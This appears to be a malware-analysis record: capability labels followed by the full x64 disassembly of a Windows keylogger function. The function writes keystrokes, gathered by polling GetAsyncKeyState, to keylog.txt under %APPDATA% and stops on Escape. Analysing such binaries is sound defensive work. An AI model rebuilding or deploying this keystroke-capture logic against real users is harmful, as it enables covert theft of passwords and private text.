Function at 0x140001290
Capabilities:
Log keystrokes via polling
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r14d, r14d
mov r8d, 0x104
lea rdx, [rbp + 0x90]
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140001302
lea rdx, [0x140005520]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029e0
lea eax, [r14 + 1]
jmp 0x140001742
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rax, [rbp + 0x90]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140001322
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x14000176e
mov qword [rsp + 0x48], 0xf
cmp rbx, 0xf
ja 0x140001370
mov qword [rsp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], r14b
jmp 0x14000140e
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x1400013a5
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003220
test rax, rax
je 0x1400013d0
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400013e9
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400013d7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001774
jmp 0x14000138a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400013e6
call fcn.140003220
mov rsi, rax
jmp 0x1400013e9
mov rsi, r14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x90]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r14b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x14000145f
lea rax, [rcx + 0xb]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0xb
lea rdx, str.keylog.txt
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], 0
lea rax, [rsp + 0x30]
jmp 0x140001477
mov qword [rsp + 0x20], 0xb
mov edx, 0xb
lea rcx, [rsp + 0x30]
call fcn.140002ff0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400014e8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000325c
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.1400027c0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rsi
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
cmp qword [rbp + 8], 0
jne 0x140001571
lea rdx, [0x140005558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029e0
mov r14d, 1
jmp 0x140001678
lea rdx, [0x140005580]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140001627
cmp ebx, 0x1b
je 0x14000163a
lea eax, [rbx - 0x30]
cmp eax, 9
jbe 0x1400015eb
lea eax, [rbx - 0x41]
cmp eax, 0x19
jbe 0x1400015eb
cmp ebx, 0x20
jne 0x1400015d4
lea rdx, [0x1400055f8]
lea rcx, [rbp - 0x80]
call fcn.1400029e0
jmp 0x14000161d
cmp ebx, 0xd
jne 0x14000161d
lea rdx, [0x1400055fc]
lea rcx, [rbp - 0x80]
call fcn.1400029e0
jmp 0x14000161d
movsx edi, bl
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140001610
lea eax, [rbx - 0x41]
cmp eax, 0x19
ja 0x140001610
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov edi, eax
movzx edx, dil
lea rcx, [rbp - 0x80]
call fcn.140002bb0
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
inc ebx
cmp ebx, 0xde
jle 0x140001594
jmp 0x140001584
lea rdx, [0x1400055e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029e0
lea rcx, [rbp - 0x78]
call fcn.140002700
test rax, rax
jne 0x140001678
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], rsi
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x78], rax
cmp qword [rbp + 8], 0
je 0x1400016d0
mov rax, qword [rbp - 0x60]
lea rcx, [rbp - 8]
cmp qword [rax], rcx
jne 0x1400016d0
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x1400016df
lea rcx, [rbp - 0x78]
call fcn.140002700
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000173f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000173a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000173a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000325c
mov eax, r14d
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140003200
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3